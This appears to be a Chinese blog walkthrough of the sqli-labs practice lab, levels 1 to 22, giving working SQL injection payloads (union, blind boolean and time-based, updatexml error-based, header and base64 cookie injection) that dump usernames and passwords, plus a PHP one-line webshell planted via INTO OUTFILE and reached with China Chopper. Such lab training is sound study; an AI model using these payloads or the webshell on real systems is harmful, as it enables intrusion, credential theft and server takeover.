sqli-labs-Basic Challenges

sqli_labs注入学习

一、SQL基本语法

1.1show databases;

显示MySQL数据库里边所有的库:

1.2use [table name];

使用特定的数据库:

1.3show tables;

列出当前数据库包含的表:

1.4select * from [table name];

显示出当前表的所有内容:

1.5总结

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema='[database name]'

查列:select column_name from information_schema.columns where table_name='[table name]'

查字段:select username,password from [database name].[table name]

1.6其它基础知识

limit[a,b]

a代表从第行开始,b代表显示多少行

--+、-- 、#

MySQL语句中的注释符,代表后边的句子不在执行

order by

对指定列进行排序

union select

联合查询

system_user()

显示系统用户

user()

登录用户

current_user()

 

database()

显示使用数据库

version()

显示MySQL的版本信息

@@datadir

显示MySQL的安装路径

@@version_compile_os

显示当前的操作系统

group_concat()

将所有的数据拼接进行显示

concat_ws('~',A,B)

按照"A~B"样式显示数据

load_file()

读取本地文件

into outfile()

写文件

if(condition,A,B)

如果条件condition为真执行A否则执行B

中国菜刀&一句话木马:

PHP版本:

<?php @eval($_POST["crow"])?> 其中crow是密码。

 

 

二、闯关

2.1 less-1

(1)准备工作:打开C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-1\index.php

将echo $sql; 和 echo "<br>";输入到如下图所示的位置。两句的功能见图中注释。

(2)打开第一关,并使用HackBar工具"Load URL"

(3)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=1'查看是否有注入

加单引号报错,说明有字符型注入。

(4)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=1' order by 10--+

查看有多少列(报错就是列数超出,采用二分法逐一排查,最后判定有3列)

(5)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

查看哪些数据可以回显

发现2,3列可以回显。

(6)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

查看当前数据库

显示当前数据库是security。

(7)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+

查看特定数据库。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看所有数据库。

(8)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema="security"--+

查看security数据库里边的表。

或者执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

注意:

一般用16进制表示table_schema的值"security",可表示为0x7365637572697479

(9)执行http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name="users"--+

查看一个security表里的一个特定的列。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

查看所有列信息。

(10)http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+

查看一个账号和密码。

或者执行:http://192.168.33.254/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

查看所有的账号和密码。

2.2 less-2

将id=1' 改为id= 1 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。

2.3 less-3

将id=1 改为id= 1') 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。

2.4 less-4

将id=1') 改为id= 1") 去掉单引号,拿到所有账号密码的其他步骤与less-1相同。

2.5 less-5

典型的布尔盲注

注入流程如下:

1、执行:逐位猜解数据库(标红为变量)

http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >10--+

2、执行:逐位猜解security数据库里边的表信息。(标红为变量)

http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)) >10--+

3、执行:逐位猜解security数据库users表里边的列信息。(标红为变量)

http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)) >10--+

4、执行:逐位猜解security数据库users表里边的各字段的值。(标红为变量)

http://192.168.33.254/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1)) >10--+

2.6 less-6

与less-5不一样的地方就是构造语句不一样。

less-5:http://192.168.33.254/sqli-labs-master/Less-5/?id=1'

less-6:http://192.168.33.254/sqli-labs-master/Less-5/?id=1"

2.7 less-7

1、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1

2、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id='

3、执行:http://192.168.33.254/sqli-labs-master/Less-7/?id=1'))--+

4、执行:

http://192.168.33.254/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php' --+

将PHP一句话木马写入less-7目录下test.php内:

5、使用中国菜刀拿到整个网站的目录:

(1)打开中国菜刀,空白处右击→添加:

(2)填写URL地址和密码,单击右下角添加。

(3)双击添加成功的项目

(4)看到整个网站目录

2.8 less-8

方法一:布尔盲注

1、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1

2、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' 存在注入漏洞

3、执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' order by 3--+

4、执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+

或者执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1)) > 16--+

5、执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) > 17--+

根据标红可变变量进行brupsuite爆破,获取数据库的名称。

6、执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 6,1),1,1))=115--+

验证第7个数据库的首字母是"s"。

7、获取security里边的表信息

执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>30--+

标红为可变变量,利用burp suite 进行表爆破。

8、获取users表里边的字段信息

执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>30--+

标红为可变变量,利用burp suite 进行字段爆破。

9、拿到最终的账户和密码

执行:http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>30--+

标红为可变变量,利用burp suite 进行用户名(username)爆破。

同理可以进行密码(password)的爆破

 

第二种方法:时间盲注

1、执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+

猜解数据库的长度,通过返回时间进行判断,若此时数据库长度为8 ,则可以较快返回。

 

2、执行:

http://192.168.33.254/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) > 150,1,sleep(3))--+

猜解数据库的名称首字母。数据库第一个字母的ASCII值大于150时,会立刻返回结果,否则执行3s。

并且使用burp suite进行爆破~~

2.9 less-9

DNSlog(没讲)

1、执行:http://192.168.33.254/sqli-labs-master/Less-9/?id=1' and sleep(4)--+

2:与less-8一样进行时间盲注。

2.10 less-10

1、执行:http://192.168.33.254/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

发现存在注入漏洞。

2、与less-9相同。

2.11 less-11

1、

2、

3、打开burp suite,浏览器开启代理。

刷新页面,重新提交,burp suite出现如下界面,复制相应的内容。

4、回到浏览器用HackBar继续进行如下操作。

5、将uname=admin&passwd=admin&submit=Submit

改为uname=admin'&passwd=admin&submit=Submit

然后执行。观察到如下现象

6、继续改为uname=' or 1=1 #&passwd=admin&submit=Submit

7、改为:uname=' order by 3 #&passwd=admin&submit=Submit

8、改为uname=' order by 2 #&passwd=admin&submit=Submit 说明存在两列

9、改为uname=' union select 1,2 #&passwd=admin&submit=Submit

10、接下来的内容就简单了。。。。。。参照less-1可以完成后续步骤。

2.12 less-12

只是结构发生了改变,步骤与less-11一样

less-11:uname=' or 1=1 #&passwd=admin&submit=Submit

less-12:uname=") or 1=1 #&passwd=admin&submit=Submit

2.13 less-13

1、手动输入Username和Password,出现如下页面。

2、拿到POST内容。

3、将Post data内容改为:uname=ad&passwd=admin&submit=submit

4、将Post data内容改为:uname=ad') or 1=1 #&passwd=admin&submit=submit

5、猜解数据库的长度

将Post data内容改为:(标红为变量)

uname=ad') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=submit

6、猜解数据库首字母

将Post data内容改为:

uname=ad') or left((select schema_name from information_schema.schemata limit 0,1),1) >'a' #&passwd=admin&submit=submit

7、使用burp suite进行辅助测试

8、设置变量,进行破解。

2.14 less-14

与less-13大致相同,只是less-13用('')包裹,less-14用""包裹。

2.15 less-15

与less-13大致相同,只是less-13用('')包裹,less-15用''包裹。

2.16 less-16

与less-13大致相同,只是less-13用('')包裹,less-16用("")包裹。

2.17 less-17

1、拿到POST数据

2、阅读源代码可知,本题对username进行了过滤,但是对password没有进行过滤。

3、将Post data改为:uname=admin ' #&passwd=admin&submit=Submit,执行

4、尝试对password进行操作

将Post data改为:uname=admin&passwd=admin ' #&submit=Submit,执行

5、利用updataxml通过报错信息得治数据库、表、列、字段等信息

将Post data改为:

uname=admin&passwd=admin ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit

6、通过类似的方法继续爆破就行了。不多说啦,这个就很简单了,和之前的爆表啥的都一样啦。

2.18 less-18

头注入

1、拿到post data:uname=admin&passwd=admin&submit=Submit并且执行

2、将Post data改为:uname=admin'#&passwd=admin&submit=Submit

3、将Post data改为:uname=admin&passwd=admin'#&submit=Submit

至此,之前熟悉的方法失效。。。

4、使用HTTP头协议,采用火狐浏览器插件HTTP Header Live进行抓包。

5、观察部分源码:发现可利用User Agent进行注入

6、利用火狐浏览器插件:Modify Headers进行注入。

尾部闭合的第二种方式:' or updatexml(11,concat(0x7e,(database())),1),'','')#

7、使用MySQL语句逐层进行注入:

(1)将User-Agent的Value值改为:

' or updatexml(11,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),'','')#

(2)将User-Agent的Value值改为:

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1)),1),'','')#

(3)将User-Agent的Value值改为:

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),1),'','')#

(4)将User-Agent的Value值改为:

' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1),'','')#

2.19 less-19

1、与less-18源码对比:

通过观察源码:

(1)less-18显示User-Agent,而less-19显示Referer;

(2)less-18有三个VALUE值,而less-19只有两个VALUE值。

所以,

①、注入构造语句由less-18的:

' or updatexml(1,concat(0x7e,(database())),1),'','')#

改为less-19的:

' or updatexml(1,concat(0x7e,(database())),1),'')#

②、头部注入方式由less-18的:

改为less-19的:

2、其它步骤与less-19完全相同

2.20 less-20

1、先试着输入正确的用户名和密码观察一下结果

2、利用火狐浏览器cookie-editor插件进行接下来的步骤:

(1)打开cookie-editor,执行完步骤一,会看到如下界面:

(2)将Value一栏的值由admin改为admin'并且保存后,刷新网页;

(3)构造注入语句如下:

' union select 1,2,3#(将这个填入cookie-editor Value一栏,保存刷新页面)

(4)猜解数据库。

(5)猜解security数据库里边的表。

(6)猜解security数据库里users列。

(7)猜解用户名和密码。

'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users#

2.21 less-21

1、用一组我们已知的账户名(admin)和密码(admin)进行登陆。

得知与less-20不同的地方就是对cookie进行了BASE64编码。

2、来到在线解密工具(URL:https://tool.oschina.net/encrypt?type=3),对YWRtaW4=解密。

3、经过测试得到如下构造语句:

') union select 1,2,3#

通过BASE64编码:JykgdW5pb24gc2VsZWN0IDEsMiwzIw==(将此填入cookies-editor工具,保存,刷新页面)

4、接下来对数据库以及表、字段等的猜解参照less-20。

2.22 less-22

本关只是在构造语句上与less-21不一样。

less-21是:') union select 1,2,3#

less-22是:" union select 1,2,3#

猜解步骤和less-21相同,就不多说了。

至此,sqli-labs基础部分全部完成。

posted @ 2020-02-28 11:33  WindStream  阅读(342)  评论(0编辑  收藏  举报